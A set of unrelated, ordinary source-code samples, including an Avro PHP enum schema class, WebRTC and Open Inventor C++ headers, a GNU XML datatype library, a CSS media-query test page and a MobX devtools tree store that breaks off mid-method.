text:
<?php

namespace Avro\Schema;

use Avro\Exception\Exception;
use Avro\Exception\SchemaParseException;
use Avro\Util\Util;

/**
 * @package Avro
 */
class EnumSchema extends NamedSchema
{
    /**
     * @var string[] array of symbols
     */
    private $symbols;

    /**
     * @param Name $name
     * @param string $doc
     * @param string[] $symbols
     * @param NamedSchemata &$schemata
     * @throws SchemaParseException
     */
    public function __construct(Name $name, $doc, $symbols, NamedSchemata &$schemata = null)
    {
        if (!Util::is_list($symbols))
            throw new SchemaParseException('Enum Schema symbols are not a list');

        if (count(array_unique($symbols)) > count($symbols))
            throw new SchemaParseException(
                sprintf('Duplicate symbols: %s', $symbols));

        foreach ($symbols as $symbol)
            if (!is_string($symbol) || empty($symbol))
                throw new SchemaParseException(
                    sprintf('Enum schema symbol must be a string %',
                        print_r($symbol, true)));

        parent::__construct(Schema::ENUM_SCHEMA, $name, $doc, $schemata);
        $this->symbols = $symbols;
    }

    /**
     * @returns string[] this enum schema's symbols
     */
    public function symbols()
    {
        return $this->symbols;
    }

    /**
     * @param string $symbol
     * @returns boolean true if the given symbol exists in this
     *          enum schema and false otherwise
     */
    public function has_symbol($symbol)
    {
        return in_array($symbol, $this->symbols);
    }

    /**
     * @param int $index
     * @returns string enum schema symbol with the given (zero-based) index
     */
    public function symbol_by_index($index)
    {
        if (array_key_exists($index, $this->symbols))
            return $this->symbols[$index];
        throw new Exception(sprintf('Invalid symbol index %d', $index));
    }

    /**
     * @param string $symbol
     * @returns int the index of the given $symbol in the enum schema
     */
    public function symbol_index($symbol)
    {
        $idx = array_search($symbol, $this->symbols, true);
        if (false !== $idx)
            return $idx;
        throw new Exception(sprintf("Invalid symbol value '%s'", $symbol));
    }

    /**
     * @returns mixed
     */
    public function to_avro()
    {
        $avro = parent::to_avro();
        $avro[Schema::SYMBOLS_ATTR] = $this->symbols;
        return $avro;
    }
}


text:
#ifndef API_VIDEO_I010_BUFFER_H_
#define API_VIDEO_I010_BUFFER_H_

#include <memory>

#include BOSS_WEBRTC_U_api__video__video_frame_buffer_h //original-code:"api/video/video_frame_buffer.h"
#include BOSS_WEBRTC_U_api__video__video_rotation_h //original-code:"api/video/video_rotation.h"
#include BOSS_WEBRTC_U_rtc_base__memory__aligned_malloc_h //original-code:"rtc_base/memory/aligned_malloc.h"

namespace webrtc {

// Plain I010 buffer in standard memory.
class I010Buffer : public I010BufferInterface {
 public:
  // Create a new buffer.
  static rtc::scoped_refptr<I010Buffer> Create(int width, int height);

  // Create a new buffer and copy the pixel data.
  static rtc::scoped_refptr<I010Buffer> Copy(const I010BufferInterface& buffer);

  // Convert and put I420 buffer into a new buffer.
  static rtc::scoped_refptr<I010Buffer> Copy(const I420BufferInterface& buffer);

  // Return a rotated copy of |src|.
  static rtc::scoped_refptr<I010Buffer> Rotate(const I010BufferInterface& src,
                                               VideoRotation rotation);

  // VideoFrameBuffer implementation.
  rtc::scoped_refptr<I420BufferInterface> ToI420() override;

  // PlanarYuv16BBuffer implementation.
  int width() const override;
  int height() const override;
  const uint16_t* DataY() const override;
  const uint16_t* DataU() const override;
  const uint16_t* DataV() const override;
  int StrideY() const override;
  int StrideU() const override;
  int StrideV() const override;

  uint16_t* MutableDataY();
  uint16_t* MutableDataU();
  uint16_t* MutableDataV();

  // Scale the cropped area of |src| to the size of |this| buffer, and
  // write the result into |this|.
  void CropAndScaleFrom(const I010BufferInterface& src,
                        int offset_x,
                        int offset_y,
                        int crop_width,
                        int crop_height);

  // Scale all of |src| to the size of |this| buffer, with no cropping.
  void ScaleFrom(const I010BufferInterface& src);

 protected:
  I010Buffer(int width, int height, int stride_y, int stride_u, int stride_v);
  ~I010Buffer() override;

 private:
  const int width_;
  const int height_;
  const int stride_y_;
  const int stride_u_;
  const int stride_v_;
  const std::unique_ptr<uint16_t, AlignedFreeDeleter> data_;
};

}  // namespace webrtc

#endif  // API_VIDEO_I010_BUFFER_H_

redpajama_set_name: RedPajamaGithub


text:
//  -*- C++ -*-

/*
 * Copyright (C) 1990,91   Silicon Graphics, Inc.
 *
 _______________________________________________________________________
 ______________  S I L I C O N   G R A P H I C S   I N C .  ____________
 |
 |   $Revision: 1.1.1.1 $
 |
 |   Description:
 |      Defines the SoBaseKit class. A base class for all
 |      of the SoNodeKit classes
 |
 |   Author(s)          : Paul Isaacs, Thad Beier
 |
 ______________  S I L I C O N   G R A P H I C S   I N C .  ____________
 _______________________________________________________________________
*/

#ifndef  _SO_BASE_KIT_
#define  _SO_BASE_KIT_

#include <Inventor/misc/SoChildList.h>
#include <Inventor/fields/SoFieldData.h>
#include <Inventor/nodes/SoSubNode.h>
#include <Inventor/fields/SoSFName.h>
#include <Inventor/nodes/SoNode.h>
#include <Inventor/nodekits/SoNodekitParts.h>
#include <Inventor/nodekits/SoSubKit.h>
#include <Inventor/SoNodeKitPath.h>

class SoSeparator;
class SbBox3f;
class SbDict;
class SoGroup;

////////////////////////////////////////////////////////////////////
//    Class: SoBaseKit --
//
//  This is the base class for all node kits.
//
// NOTE TO DEVELOPERS:
//     For info about the structure of SoBaseKit:
//     [1] compile: /usr/share/src/Inventor/samples/ivNodeKitStructure
//     [2] type:    ivNodeKitStructure SoBaseKit.
//     [3] The program prints a diagram of the scene graph and a table with
//         information about each part.
//
//  It contains only 'this' and a callbackList beneath it.
//  It's catalog is made to describe the following structure:
//
//                            this
//                              |
//                            "callbackList"
//
////////////////////////////////////////////////////////////////////

// C-api: prefix=SoKit
class INVENTOR_API SoBaseKit : public SoNode {

    // Instead of calling SO_KIT_HEADER(className) here,
    // which is the norm for all nodekits, explicitly write the contents
    // of that macro, so as to expose the base class virtual function
    // getNodekitCatalog for the C-api...
    //
    SO_NODE_HEADER(SoBaseKit);

  private:
    static SoNodekitCatalog *nodekitCatalog; /* design of this class */
    static const SoNodekitCatalog **parentNodekitCatalogPtr; /* parent design */
  public:
    // C-api: name=getClassNkitCat
    static const SoNodekitCatalog *getClassNodekitCatalog()
	{ return nodekitCatalog; }

    /* Returns an SoNodekitCatalog for the node */
    // C-api: expose
    // C-api: name=getCat
    virtual const SoNodekitCatalog *getNodekitCatalog() const;
    // ...end of contents of SO_KIT_HEADER

  protected:
    static const SoNodekitCatalog **getClassNodekitCatalogPtr()
	{ return (const SoNodekitCatalog **)&nodekitCatalog; }

    // Define fields for the new parts of the kit...
    SO_KIT_CATALOG_ENTRY_HEADER(callbackList);

  public:

    //
    // CONSTRUCTOR
    //
    SoBaseKit();

    //
    // GETTING PARTS AND PATHS
    //
    // If no node is present, NULL will be returned, unless makeIfNeeded = TRUE
    // If makeIfNeeded = TRUE,
    // -- creates the node
    // -- looks in the catalog to see if any extra nodes are needed to
    //    connect the node up the nodekit to 'this'
    //
    // This method is virtual so subclasses may do extra things
    // when certain parts are requested.
    //
    // Prints an error if the environment variable IV_DEBUG_KIT_PARTS is set
    // and 'partName' can't be found in catalog of this or any derived part.
    // C-api: expose
    virtual SoNode *getPart( const SbName &partName, SbBool makeIfNeeded );

    // Given a node or a path to a node, sees if it's a part in the
    // nodekit, a part in a nested nodekit, or an element of a list part.
    // If so, returns a string containing the name.
    // If not, returns the empty string.
    SbString getPartString( const SoBase *part );

    // createPathToPart returns a path that begins with 'this', and ends at
    // the part named.
    // This method is virtual so subclasses may do extra things
    // when certain parts are requested.
    //
    // Prints an error if the environment variable IV_DEBUG_KIT_PARTS is set
    // and 'partName' can't be found in catalog of this or any derived part.
    // C-api: expose
    virtual SoNodeKitPath *createPathToPart( const SbName &partName,
		    SbBool makeIfNeeded, const SoPath *pathToExtend = NULL );

    //
    // SETTING PARTS
    //
    // 'set' method inserts the given node (not a copy!) as the new part
    //       specified by partName
    //
    // Adds any extra nodes needed to fit the part into the nodekit's structure
    //
    // --an argument of NULL means to remove the specified node.
    //
    // This is virtual so subclasses may add functionality,
    // such as setting a field if the partName is a particular part.
    //
    // Prints an error if the environment variable IV_DEBUG_KIT_PARTS is set
    // and 'partName' can't be found in catalog of this or any derived part.
    // C-api: expose
    virtual SbBool setPart( const SbName &partName, SoNode *from );

    //
    // SETTING FIELDS OF PARTS
    //
    // set routine returns FALSE if it cannot find the parameter to set
    SbBool set(char *nameValuePairListString);
    // C-api: name=set2
    SbBool set(char *partNameString, char *parameterString);

    // DO NODEKITS TRAVERSE THEIR CHILDREN DURING A SEARCH ACTION?
    // By default, they do NOT.
    static SbBool isSearchingChildren() { return searchingChildren; }
    static void   setSearchingChildren( SbBool newVal );

  SoEXTENDER public:
    virtual void doAction( SoAction *action );
    // These functions implement all actions for nodekits.
    virtual void callback( SoCallbackAction *action );
    virtual void GLRender( SoGLRenderAction *action );
    virtual void getBoundingBox( SoGetBoundingBoxAction *action );
    virtual void getMatrix(SoGetMatrixAction *action );
    virtual void handleEvent( SoHandleEventAction *action );
    virtual void rayPick( SoRayPickAction *action );
    virtual void search( SoSearchAction *action );
    virtual void write( SoWriteAction *action );

  SoINTERNAL public:
    static void initClass();

    // Returns pointer to children
    virtual SoChildList *getChildren() const;

    static SoNode *typeCheck( const SbName &partName, const SoType &partType,
			      SoNode *node );

    void printDiagram();
    void printSubDiagram( const SbName &rootName, int level );
    void printTable();

    // Overrides the default method to use countMyFields() instead of
    // the regular SoFieldData writing mechanism.
    virtual void	addWriteReference(SoOutput *out,
					  SbBool isFromField = FALSE);

    friend class SoNodekitCatalogEntry;
    friend class SoNodekitParts;
    friend class SoV1BaseKit;

    // This returns TRUE if the nodekit intends to write out.
    //   [a] call shouldWrite(). If TRUE, trivial return.
    //   [b] If the kit thinks it shouldn't write, it first does a recursive
    //       call to its children.  If any children must write, then so must
    //       the kit.
    //   [c] If kit has changed its mind because of [b], then add a writeRef.
    //
    //   [d] If kit should not write, it will delete the fieldDataForWriting,
    //       since there will no writing pass applied to take care of this.
    SbBool forceChildDrivenWriteRefs( SoOutput *out );

  protected:

    SoChildList *children;

    // Redefines this to add this node and all part nodes to the dictionary
    virtual SoNode *	addToCopyDict() const;

    // Copies the contents of the given nodekit into this instance
    virtual void	copyContents(const SoFieldContainer *fromFC,
				     SbBool copyConnections);

    // Returns the containerNode within the SoNodeKitListPart given
    // by listName.
    SoGroup *getContainerNode( const SbName &listName,
			       SbBool makeIfNeeded = TRUE );

    // like their public versions, but are allowed access to non-leaf
    // and private parts.
    // These are virtual so subclasses may do extra things
    // when certain parts are requested.
    virtual SoNode *getAnyPart( const SbName &partName, SbBool makeIfNeeded,
			SbBool leafCheck = FALSE, SbBool publicCheck = FALSE );
    virtual SoNodeKitPath *createPathToAnyPart(const SbName &partName,
		    SbBool makeIfNeeded,
		    SbBool leafCheck = FALSE, SbBool publicCheck = FALSE,
		   const SoPath *pathToExtend = NULL );
    virtual SbBool setAnyPart( const SbName &partName, SoNode *from,
		       SbBool anyPart = TRUE );

    // parts list.
    SoNodekitParts	*nodekitPartsList;

    // called during construction to create parts list
    void createNodekitPartsList();
    // called during construction to create any parts that are created by
    // default (such as the cube in the SoCubeKit)
    virtual void createDefaultParts();

    // Return the node's partsList
    const SoNodekitParts *getNodekitPartsList() const
			    { return nodekitPartsList; };

    // Prints an Error when there's trouble building a catalog.
    void catalogError();

    // detach/attach any sensors, callbacks, and/or field connections.
    // Called by:            start/end of SoBaseKit::readInstance
    // and on new copy by:   start/end of SoBaseKit::copyContents.
    // Classes that redefine must call setUpConnections(TRUE,TRUE)
    // at end of constructor to add their own connections to the ones already
    // connected by the base classes.
    // The doItAlways flag can force the method to do the work.
    // But if (doItAlways == FALSE && onOff == connectionsSetUp), then
    // the method will return immediately without doing anything.
    // Returns the state of the node when this was called.
    virtual SbBool setUpConnections( SbBool onOff, SbBool doItAlways = FALSE );
    SbBool connectionsSetUp;

    // Reads in from file. Takes care of setting parts and stuff.
    virtual SbBool readInstance(SoInput *in, unsigned short flags);

    // This is called during countMyFields() method. It calls setDefault()
    // on those fields we do not wish to write out. setDefault does not change
    // the field value, but it sets a flag indicating that the field should
    // not get written by this node.
    // Fields that we do not write are [a] parts that are NULL and are defined
    // in the catalog to be NULL by default. [b] non-leaf parts for which
    // isNodeFieldValuesImportant() is FALSE.
    // [c] leaf parts that are empty groups, empty separators,
    // [d] leaf parts that are empty lists (but they must have group or
    //     separator container nodes.
    virtual void setDefaultOnNonWritingFields();

    // This is called during addWriteReference() to write the fields.
    // It sometimes treats fields for parts of the nodekit in a special way.
    // Under normal circumstances, they write like other fields.
    // The special case is when a part-field has a non-NULL value, but has
    // also been set to default, indicating that we would rather not write it.
    // If the part is a regular node, we give it a field-connection style
    // write ref.  So it only writes if some other instance of the node forces
    // a write.
    // If the part is a nodekit, then we additionally write ref the fields of
    // the nodekit, using this same method.
    // Later, in the WRITE stage, the kit-part will be written if at least
    // one of its fields or ancestor parts has shouldWrite() ==TRUE.
    // This way, if a nodekit part or any of its ancestors has non-NULL fields,
    // it will later be forced to write, even though it has been set to default.
    // Example:
    //   Parent draggers attempt not to write out child draggers.
    //   But the parentDragger must at least traverse the childDragger to see
    //   if any of the part geometry has been changed from its default. Such
    //   changes must be written to file.
    void countMyFields(SoOutput *out);

    virtual ~SoBaseKit();

  private:
    void skipWhiteSpace(char *&string);

    // Returns FALSE if every field has either [a] hasDefaultValue() == TRUE or
    // [b] isDefault() == TRUE
    SbBool isNodeFieldValuesImportant( SoNode *n );

    // This creates a copy of fieldData with a few changes that make
    // it write out 'prettier'
    void createFieldDataForWriting();
    // Used to store field data during writing. Need this because a temporary
    // version of fieldData is made that differs from the real thing.
    SoFieldData *fieldDataForWriting;

    // Called by the readInstance routine...
    SbBool readMyFields(SoInput *in, SoFieldData *&unknownFieldData );

    // Called by write() after the (virtual) setDefaultOnNonWritingNodes()
    // method.  This method looks at the part fields which have isDefault()
    // set to TRUE.    This method will setDefault(FALSE) on any part fields
    // that MUST write.
    //     This happens when the part-field is for a part whose parent
    //     is going to write out anyway. Therefore, it will appear in file as
    //     a node within this kit, so we better write out the part field to
    //     explain where the node belongs in the kit.
    void undoSetDefaultOnFieldsThatMustWrite();

    // Only nodekits themselves can access the private children.
    int  getNumChildren() const { return (children->getLength()); }
    void removeChild( int index );
    void removeChild( SoNode *child  ) { removeChild(findChild(child)); }
    void addChild( SoNode *child );
    int  findChild( const SoNode *child ) const;
    void insertChild( SoNode *child, int newChildIndex );
    SoNode *getChild( int index) const { return (*children)[index]; }
    void replaceChild( int index, SoNode *newChild);
    void replaceChild( SoNode *oldChild, SoNode *newChild)
	{ replaceChild(findChild(oldChild),newChild); }

    static SbBool searchingChildren;
};

// Macro for getting at parts without doing type casting yourself:
// for example, the code:
//  xf = (SoTransform *) myKit->getPart("transform",
//					SoTransform::getClassTypeId(), TRUE);
// becomes:
//  xf = SO_GET_PART( myKit, "transform", SoTransform );
//
// The macro SO_CHECK_PART will not build the part if it is not already in the
// kit, since it sends 'FALSE' as the 'makeIfNeeded' argument.
//
// CAUTION:  These macros will not work in the C-api, and nothing will be
//           gained from making them.  So, don't make them.

// C-api: end
#ifdef DEBUG
#define SO_GET_PART( kitContainingPart, partName, partClassName )              \
        ((partClassName *) SoBaseKit::typeCheck( partName,                     \
			       partClassName::getClassTypeId(),               \
			       kitContainingPart->getPart( partName, TRUE )))

#define SO_CHECK_PART( kitContainingPart, partName, partClassName )            \
        ((partClassName *) SoBaseKit::typeCheck( partName,                    \
			       partClassName::getClassTypeId(),               \
			       kitContainingPart->getPart( partName, FALSE )))

#define SO_GET_ANY_PART( kitContainingPart, partName, partClassName )         \
        ((partClassName *) SoBaseKit::typeCheck( partName,                    \
		partClassName::getClassTypeId(),                              \
		kitContainingPart->getAnyPart( partName, TRUE, FALSE, FALSE )))

#define SO_CHECK_ANY_PART( kitContainingPart, partName, partClassName )       \
        ((partClassName *) SoBaseKit::typeCheck( partName,                    \
		partClassName::getClassTypeId(),                              \
		kitContainingPart->getAnyPart( partName, FALSE, FALSE, FALSE )))
#else

#define SO_GET_PART( kitContainingPart, partName, partClassName )             \
        ((partClassName *) kitContainingPart->getPart( partName, TRUE ))
#define SO_CHECK_PART( kitContainingPart, partName, partClassName )           \
        ((partClassName *) kitContainingPart->getPart( partName, FALSE ))
#define SO_GET_ANY_PART( kitContainingPart, partName, partClassName )        \
        ((partClassName *) kitContainingPart->getAnyPart( partName, TRUE,    \
							  FALSE, FALSE ))
#define SO_CHECK_ANY_PART( kitContainingPart, partName, partClassName )      \
        ((partClassName *) kitContainingPart->getAnyPart( partName, FALSE,   \
							  FALSE, FALSE ))
#endif
// C-api: begin

#endif  /* _SO_BASE_KIT_ */


text:
module Mongoid
  module CollectionSnapshot
    VERSION = '1.2.1'
  end
end


text:
<title>CSS3 media query test: Absolute width query (screen and (max-width: 800px)). Using link element, media attribute.</title>
<link rel="help" href="http://www.w3.org/TR/css3-mediaqueries/#width" />
<link rel="stylesheet" type="text/css" media="screen and (max-width: 800px)" href="import-p-green.css" />

 This text should be green if viewport is at most 800px wide.

div of width 800px


text:
@interface FLEXNetworkMITMViewController : FLEXTableViewController <FLEXGlobalsEntry>

@end


text:
<!DOCTYPE html>

    <title>Classes  Reference</title>
    <link rel="stylesheet" type="text/css" href="css/jazzy.css" />
    <link rel="stylesheet" type="text/css" href="css/highlight.css" />
    <meta charset='utf-8'>

 Docs (0% documented)

         Reference

        Classes  Reference

            Classes

                Item

                User

                Wardrobe

            Extensions

                UIImage

Classes

The following classes are available globally.

                    Wardrobe

Undocumented

                        See more

                    User

Undocumented

                        See more

                    Item

Undocumented

                        See more

© 2017 . All rights reserved. (Last updated: 2017-05-07)

Generated by jazzy ♪♫ v0.8.1, a Realm project.


text:
package gnu.xml.validation.datatype;

import java.util.HashMap;
import java.util.Map;
import org.relaxng.datatype.Datatype;
import org.relaxng.datatype.DatatypeBuilder;
import org.relaxng.datatype.DatatypeException;
import org.relaxng.datatype.DatatypeLibrary;

/**
 * Datatype library for XML Schema datatypes.
 *
 * @author Chris Burdess
 */
public class TypeLibrary
  implements DatatypeLibrary
{

  public static final SimpleType ANY_SIMPLE_TYPE = new AnySimpleType();

  public static final SimpleType STRING = new StringType();
  public static final SimpleType BOOLEAN = new BooleanType();
  public static final SimpleType DECIMAL = new DecimalType();
  public static final SimpleType FLOAT = new FloatType();
  public static final SimpleType DOUBLE = new DoubleType();
  public static final SimpleType DURATION = new DurationType();
  public static final SimpleType DATE_TIME = new DateTimeType();
  public static final SimpleType TIME = new TimeType();
  public static final SimpleType DATE = new DateType();
  public static final SimpleType G_YEAR_MONTH = new GYearMonthType();
  public static final SimpleType G_YEAR = new GYearType();
  public static final SimpleType G_MONTH_DAY = new GMonthDayType();
  public static final SimpleType G_DAY = new GDayType();
  public static final SimpleType G_MONTH = new GMonthType();
  public static final SimpleType HEX_BINARY = new HexBinaryType();
  public static final SimpleType BASE64_BINARY = new Base64BinaryType();
  public static final SimpleType ANY_URI = new AnyURIType();
  public static final SimpleType QNAME = new QNameType();
  public static final SimpleType NOTATION = new NotationType();

  public static final SimpleType NORMALIZED_STRING = new NormalizedStringType();
  public static final SimpleType TOKEN = new TokenType();
  public static final SimpleType LANGUAGE = new LanguageType();
  public static final SimpleType NMTOKEN = new NMTokenType();
  public static final SimpleType NMTOKENS = new NMTokensType();
  public static final SimpleType NAME = new NameType();
  public static final SimpleType NCNAME = new NCNameType();
  public static final SimpleType ID = new IDType();
  public static final SimpleType IDREF = new IDRefType();
  public static final SimpleType IDREFS = new IDRefsType();
  public static final SimpleType ENTITY = new EntityType();
  public static final SimpleType ENTITIES = new EntitiesType();
  public static final SimpleType INTEGER = new IntegerType();
  public static final SimpleType NON_POSITIVE_INTEGER = new NonPositiveIntegerType();
  public static final SimpleType NEGATIVE_INTEGER = new NegativeIntegerType();
  public static final SimpleType LONG = new LongType();
  public static final SimpleType INT = new IntType();
  public static final SimpleType SHORT = new ShortType();
  public static final SimpleType BYTE = new ByteType();
  public static final SimpleType NON_NEGATIVE_INTEGER = new NonNegativeIntegerType();
  public static final SimpleType UNSIGNED_LONG = new UnsignedLongType();
  public static final SimpleType UNSIGNED_INT = new UnsignedIntType();
  public static final SimpleType UNSIGNED_SHORT = new UnsignedShortType();
  public static final SimpleType UNSIGNED_BYTE = new UnsignedByteType();
  public static final SimpleType POSITIVE_INTEGER = new PositiveIntegerType();

  private static Map byName;
  static
  {
    byName = new HashMap();
    byName.put("anySimpleType", ANY_SIMPLE_TYPE);
    byName.put("string", STRING);
    byName.put("boolean", BOOLEAN);
    byName.put("decimal", DECIMAL);
    byName.put("float", FLOAT);
    byName.put("double", DOUBLE);
    byName.put("duration", DURATION);
    byName.put("dateTime", DATE_TIME);
    byName.put("time", TIME);
    byName.put("date", DATE);
    byName.put("gYearMonth", G_YEAR_MONTH);
    byName.put("gYear", G_YEAR);
    byName.put("gMonthDay", G_MONTH_DAY);
    byName.put("gDay", G_DAY);
    byName.put("gMonth",G_MONTH);
    byName.put("hexBinary", HEX_BINARY);
    byName.put("base64Binary", BASE64_BINARY);
    byName.put("anyURI", ANY_URI);
    byName.put("QName", QNAME);
    byName.put("NOTATION", NOTATION);
    byName.put("normalizedString", NORMALIZED_STRING);
    byName.put("token", TOKEN);
    byName.put("language", LANGUAGE);
    byName.put("NMTOKEN", NMTOKEN);
    byName.put("NMTOKENS", NMTOKENS);
    byName.put("Name", NAME);
    byName.put("NCName", NCNAME);
    byName.put("ID", ID);
    byName.put("IDREF", IDREF);
    byName.put("IDREFS", IDREFS);
    byName.put("ENTITY", ENTITY);
    byName.put("ENTITIES", ENTITIES);
    byName.put("integer", INTEGER);
    byName.put("nonPositiveInteger", NON_POSITIVE_INTEGER);
    byName.put("negativeInteger", NEGATIVE_INTEGER);
    byName.put("long", LONG);
    byName.put("int", INT);
    byName.put("short", SHORT);
    byName.put("byte", BYTE);
    byName.put("nonNegativeInteger", NON_NEGATIVE_INTEGER);
    byName.put("unsignedLong", UNSIGNED_LONG);
    byName.put("unsignedInt", UNSIGNED_INT);
    byName.put("unsignedShort", UNSIGNED_SHORT);
    byName.put("unsignedByte", UNSIGNED_BYTE);
    byName.put("positiveInteger", POSITIVE_INTEGER);
  }

  public DatatypeBuilder createDatatypeBuilder(String baseTypeLocalName)
    throws DatatypeException
  {
    SimpleType type = (SimpleType) byName.get(baseTypeLocalName);
    if (type == null)
      throw new DatatypeException("Unknown type name: " + baseTypeLocalName);
    return new TypeBuilder(type);
  }

  public Datatype createDatatype(String typeLocalName)
    throws DatatypeException
  {
    SimpleType type = (SimpleType) byName.get(typeLocalName);
    if (type == null)
      throw new DatatypeException("Unknown type name: " + typeLocalName);
    return type;
  }

}


text:
import * as SearchUtils from '../../utils/SearchUtils';
import nodeMatchesText from '../../utils/nodeMatchesText';
import AbstractStore from './AbstractStore';

export default class TreeExplorerStore extends AbstractStore {
  roots = [];

  loaded = false;

  selectedNodeId = undefined;

  hoveredNodeId = undefined;

  isBottomTagSelected = undefined;

  isBottomTagHovered = undefined;

  nodeParentsById = {};

  nodesById = {};

  searchText = '';

  pickingComponent = false;

  constructor(bridge) {
    super();
    this.bridge = bridge;

    this.addDisposer(
      bridge.sub('frontend:mobx-react-components', components => {
        components.forEach(c => this.addNode(c));
        if (this.prevSelectedNodeId && this.nodesById[this.prevSelectedNodeId]) {
          this.select(this.prevSelectedNodeId);
          this.uncollapseParents(this.prevSelectedNodeId);
        }
        this.loaded = true;
        this.emit('loaded');
      }),
    );

    this.addDisposer(
      bridge.sub('frontend:mobx-react-component-updated', component => {
        this.updateNode(component);
      }),
    );

    this.addDisposer(
      bridge.sub('frontend:mobx-react-component-added', component => {
        this.addNode(component);
      }),
    );

    this.addDisposer(
      bridge.sub('frontend:mobx-react-component-removed', component => {
        this.removeNode(component);
      }),
    );

    this.addDisposer(
      bridge.sub('picked-component', ({ componentId }) => {
        this.select(componentId, true);
        this.uncollapseParents(componentId);
        this.stopPickingComponent();
      }),
    );

    this.addDisposer(
      bridge.sub('inspect-component-result', ({ componentId, path, data }) => {
        const obj = path.reduce((acc, next) => acc && acc[next], this.nodesById[componentId]);
        if (obj) {
          Object.assign(obj, data);
        }
        // if (__DEV__) console.log(`inspected--${path.join('/')}`, data);
        this.emit(`inspected--${path.join('/')}`);
      }),
    );
  }

  reset() {
    this.roots.splice(0);
    this.prevSelectedNodeId = this.selectedNodeId;
    this.hoveredNodeId = undefined;
    this.selectedNodeId = undefined;
    this.isBottomTagSelected = undefined;
    this.isBottomTagHovered = undefined;
    this.nodeParentsById = {};
    this.nodesById = {};
    this.breadcrumbHead = undefined;
    this.emit('roots');
    this.emit('breadcrumbHead');
  }

  getComponents() {
    this.bridge.send('backend-mobx-react:get-observer-components');
  }

  changeSearch(text) {
    const needle = text.toLowerCase();
    if (needle === this.searchText.toLowerCase() && !this.refreshSearch) {
      return;
    }
    if (!text || SearchUtils.trimSearchText(text).length === 0) {
      this.searchRoots = null;
    } else {
      if (
        this.searchRoots &&
        needle.indexOf(this.searchText.toLowerCase()) === 0 &&
        !SearchUtils.shouldSearchUseRegex(text)
      ) {
        this.searchRoots = this.searchRoots.filter(item => {
          const node = this.nodesById[item];
          return (
            (node.name && node.name.toLowerCase().indexOf(needle) !== -1) ||
            (node.text && node.text.toLowerCase().indexOf(needle) !== -1) ||
            (typeof node.children === 'string' &&
              node.children.toLowerCase().indexOf(needle) !== -1)
          );
        });
      } else {
        this.searchRoots = Object.keys(this.nodesById).filter(key =>
          nodeMatchesText(this.nodesById[key], needle, key, this),
        );
      }
      this.searchRoots.forEach(id => {
        if (this.hasBottom(id)) {
          this.nodesById[id].collapsed = true;
        }
      });
    }
    this.searchText = text;
    this.emit('searchText');
    this.emit('searchRoots');
    if (this.searchRoots && !this.searchRoots.includes(this.selectedNodeId)) {
      this.select(null, true);
    } else if (!this.searchRoots) {
      if (this.selectedNodeId) {
        this.uncollapseParents(this.selectedNodeId);
      } else {
        this.select(this.roots[0]);
      }
    }

    this.refreshSearch = false;
  }

  hasBottom(id) {
    const node = this.nodesById[id];
    const { children } = node;
    if (typeof children === 'string' || !children || !children.length || node.collapsed) {
      return false;
    }
    return true;
  }

  getParent(id) {
    return this.nodeParentsById[id];
  }

  addRootId(id) {
    if (this.roots.includes(id)) return;
    this.roots.push(id);
    if (!this.selectedNodeId) this.select(id, true);
    this.emit('roots');
  }

  removeRootId(id) {
    const idx = this.roots.indexOf(id);
    if (idx !== -1) {
      this.roots.splice(idx, 1);
      this.emit('roots');
      if (this.selectedNodeId === id) {
        this.selectedNodeId = undefined;
        this.select(undefined);
      }
    }
  }

  addNode(node) {
    node.renders = 1;
    node.collapsed = true;
    this.nodesById[node.id] = node;
    if (node.children) {
      node.children.forEach(childId => {
        this.removeRootId(childId);
        this.nodeParentsById[childId] = node.id;
      });
    }
    this.emit(node.id);
    if (!this.nodeParentsById[node.id]) {
      this.addRootId(node.id);
    }
  }

  updateNode(data) {
    if (data.children) {
      data.children.forEach(childId => {
        const ridx = this.roots.indexOf(childId);
        if (ridx !== -1) {
          this.roots.splice(ridx, 1);
          this.emit('roots');
        }
        if (!this.nodeParentsById[childId]) {
          this.nodeParentsById[childId] = data.id;
          const childNode = this.nodesById[childId];
          if (
            this.searchRoots &&
            childNode && // fixme
            nodeMatchesText(childNode, this.searchText.toLowerCase(), childId, this)
          ) {
            this.searchRoots = this.searchRoots.push(childId);
            this.emit('searchRoots');
            this.highlightSearch();
          }
        }
      });
    }
    if (this.nodesById[data.id]) {
      delete data.component; // fixme
      Object.assign(this.nodesById[data.id], data);
      this.emit(data.id);
    } else {
      this.addNode(data);
    }
  }

  removeNode(node) {
    const parentId = this.getParent(node.id);
    delete this.nodesById[node.id];
    delete this.nodeParentsById[node.id];
    if (parentId && this.nodesById[parentId]) {
      const idx = this.nodesById[parentId].children.indexOf(node.id);
      if (idx !== -1) {
        this.nodesById[parentId].children.splice(idx, 1);
        this.emit(parentId);
      }
    } else {
      const idx = this.roots.indexOf(node.id);
      if (idx !== -1) {
        this.roots.splice(idx, 1);
        this.emit('roots');
      }
    }
    if (node.id === this.selectedNodeId) {
      this.selectTop(parentId, true);
    }
  }

  highlight(id) {
    this.bridge.send('highlight', id);
  }

  hideHighlight() {
    this.bridge.send('stop-highlighting');
    if (!this.hoveredNodeId) {
      return;
    }
    const id = this.hoveredNodeId;
    this.hoveredNodeId = null;
    this.emit(id);
    this.emit('hoveredNodeId');
  }

  setHover(id, isHovered, isBottomTag) {
    if (isHovered) {
      const old = this.hoveredNodeId;
      this.hoveredNodeId = id;
      this.isBottomTagHovered = isBottomTag;
      if (old) {
        this.emit(old);
      }
      this.emit(id);
      this.emit('hoveredNodeId');
      this.highlight(id);
    } else if (this.hoveredNodeId === id) {
      this.hideHighlight();
      this.isBottomTagHovered = false;
    }
  }

  selectBreadcrumb(id) {
    this.uncollapseParents(id);
    this.changeSearch('');
    this.isBottomTagSelected = false;
    this.select(id, false, true);
  }

  selectTop(id, noHighlight = false) {
    this.isBottomTagSelected = false;
    this.select(id, noHighlight);
  }

  selectBottom(id) {
    this.isBottomTagSelected =
      !this.nodesById[id].collapsed && this.nodesById[id].children.length > 0;
    this.select(id);
  }

  select(id, noHighlight = false, keepBreadcrumb = false) {
    const oldSel = this.selectedNodeId;
    this.selectedNodeId = id;
    if (oldSel) {
      this.emit(oldSel);
    }
    if (id) {
      this.emit(id);
    }
    if (!keepBreadcrumb) {
      this.breadcrumbHead = id;
      this.emit('breadcrumbHead');
    }
    this.emit('selectedNodeId');
    this.bridge.send('selectedNodeId', id);
    if (this.nodesById[id]) {
      this.bridge.send('getDeptree', { componentId: id, mobxid: this.nodesById[id].mobxid });
      this.inspect(['component']);
    }
    if (!noHighlight && id) {
      this.highlight(id);
    }
  }

  inspect(path) {
    this.bridge.send('inspect-component', { componentId: this.selectedNodeId, path });
  }

  stopInspecting(path) {
